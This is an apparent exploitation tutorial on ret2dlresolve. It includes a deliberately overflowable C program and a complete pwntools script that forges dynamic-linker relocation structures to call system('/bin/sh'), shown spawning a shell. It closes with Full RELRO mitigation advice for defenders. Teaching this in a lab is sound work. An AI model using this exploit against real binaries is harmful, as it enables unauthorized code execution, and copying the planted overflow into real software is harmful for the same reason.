Skip to content

ret2dlresolve: Resolving a Symbol Without a Leak

No libc leak, no problem: forge the relocation the dynamic linker reads and make it resolve and call system for you. A pwntools walkthrough — and why Full RELRO ends it.

Published on 4 min read

This is the twelfth walkthrough in the Exploitation Techniques area. The ret2libc guide spent its first stage just leaking libc so it could find system. What if you cannot leak — no output primitive, a single shot? ret2dlresolve sidesteps the leak entirely by making the dynamic linker resolve system by name on your behalf.

Your own binary, disposable lab. See the lab rules.

How lazy binding works (and how we abuse it)

With lazy binding (the Partial RELRO default), an imported function is not resolved until its first call. The first call to foo@plt runs a stub that pushes a relocation index and jumps to _dl_runtime_resolve(link_map, index). The resolver then:

  1. reads the Elf64_Rela relocation at that index in the .rela.plt (JMPREL) table,
  2. follows its r_info to an Elf64_Sym in the dynamic symbol table,
  3. reads that symbol's name from the string table,
  4. looks the name up in libc, writes the result into the GOT, and jumps to it.

Every one of those tables is consulted by offset from data we can influence. If we call _dl_runtime_resolve with an index that points at a relocation we forged — one whose symbol name string is "system" — the loader resolves and calls system for us. No libc address ever needed to be known.

The target

/* vuln.c — overflow, dynamically linked, lazy binding (Partial RELRO). */
#include <unistd.h>
void vuln(void){ char b[64]; read(0, b, 256); }
int main(void){ vuln(); return 0; }
gcc -fno-stack-protector -no-pie -Wl,-z,relro,-z,lazy -O0 -g -o vuln vuln.c

checksec must show Partial RELRO (lazy binding on) and No PIE (so .bss and the PLT0 stub are at fixed addresses).

Building it with pwntools

Doing this by hand means hand-packing a fake Elf64_Rela, Elf64_Sym and a string, all at consistent offsets in .bss — error-prone on 64-bit. pwntools' Ret2dlresolvePayload builds a coherent set:

# ret2dlresolve.py
from pwn import *

context.binary = elf = ELF("./vuln")

# 1) Describe the call we want the loader to resolve and make.
dl = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])

rop = ROP(elf)
# 2) Read our forged structures + "/bin/sh" into the .bss data area.
rop.read(0, dl.data_addr)                 # read(0, bss, len)
# 3) Invoke the PLT0 resolver stub with our forged relocation index.
rop.ret2dlresolve(dl)
raw = rop.chain()

payload = flat({72: raw})                 # 72 = offset to return address

io = process("./vuln")
io.sendline(payload)                      # stage 1: the ROP chain
io.sendline(dl.payload)                   # stage 2: the forged structs read() consumes
io.interactive()
$ python3 ret2dlresolve.py
[*] Switching to interactive mode
$ id
uid=1000(lab) gid=1000(lab)

The chain calls read to drop the forged Elf structures and the string "/bin/sh" into .bss at a known address, then jumps to the PLT0 resolver stub with our crafted relocation offset. The loader walks our tables, resolves "system", and calls it with "/bin/sh" — all without a single leaked address.

Turn the mitigation back on: Full RELRO

ret2dlresolve depends entirely on the runtime resolver still being reachable. Full RELRO removes it:

gcc -fno-stack-protector -no-pie -Wl,-z,relro,-z,now -O0 -g -o vuln_full vuln.c

With -z now, the loader resolves every import at startup and the lazy path is never used at runtime — there is no _dl_runtime_resolve call to hijack. The exploit has nothing to invoke:

BuildRELRO / bindingret2dlresolve
-z relro -z lazyPartial / lazyWorks — resolver is live
-z relro -z nowFull / eagerDead — no runtime resolution

This is the second technique in the series that Full RELRO kills, for a different reason than the first. GOT overwrite died because RELRO made the GOT read-only; ret2dlresolve dies because RELRO disables lazy resolution altogether. One flag, two techniques closed.

What this teaches a defender

  • Full RELRO is worth more than it looks. It is easy to think of -z now as "just makes the GOT read-only." It also eliminates the entire lazy-resolution attack surface, including ret2dlresolve. For security-sensitive binaries it should be the default — see binary hardening flags.
  • "They can't leak libc, so they can't call system" is false. ret2dlresolve is the counterexample: an attacker with no leak can still reach system by name. Do not lean on the absence of an info-leak as your safety margin.
  • The dynamic linker is part of your attack surface. Its data structures are reachable through the same bugs as everything else. Reducing what is resolvable at runtime (eager binding) shrinks it.

Key takeaways

  • ret2dlresolve forges the relocation and symbol structures the dynamic linker reads, so it resolves and calls a symbol (e.g. system) by name — no libc leak required.
  • It needs lazy binding (Partial RELRO) and a known writable address for the forged structures; non-PIE targets are easiest.
  • 64-bit layout is fiddly; Ret2dlresolvePayload builds a consistent set of structures.
  • Full RELRO (-z now) disables lazy resolution and kills the technique outright.

Next: one-gadget, when a single libc address — under the right register conditions — is all you need for a shell.

Related guides

0x7000 · Exploitation Techniques

Hijacking the GOT: Redirecting a libc Call

Lazy binding leaves the Global Offset Table writable. Aim an arbitrary write at a GOT entry, turn puts() into system(), then enable Full RELRO and watch the same write fault instantly.

0x8000 · ARM64 Exploitation

ARM64 Exploitation: the Link Register and ret2win

On AArch64 the return address lives in a register, not on the stack — until a non-leaf function saves it. Build the ARM ret2win in a lab and see where the saved link register sits.

0x8000 · ARM64 Exploitation

ROP on ARM64: Gadgets and the Link Register

AArch64 gadgets end in ret, which branches to x30 — so the chain is threaded through the link register with ldp gadgets. Build a system("/bin/sh") chain, then watch PAC and BTI break it.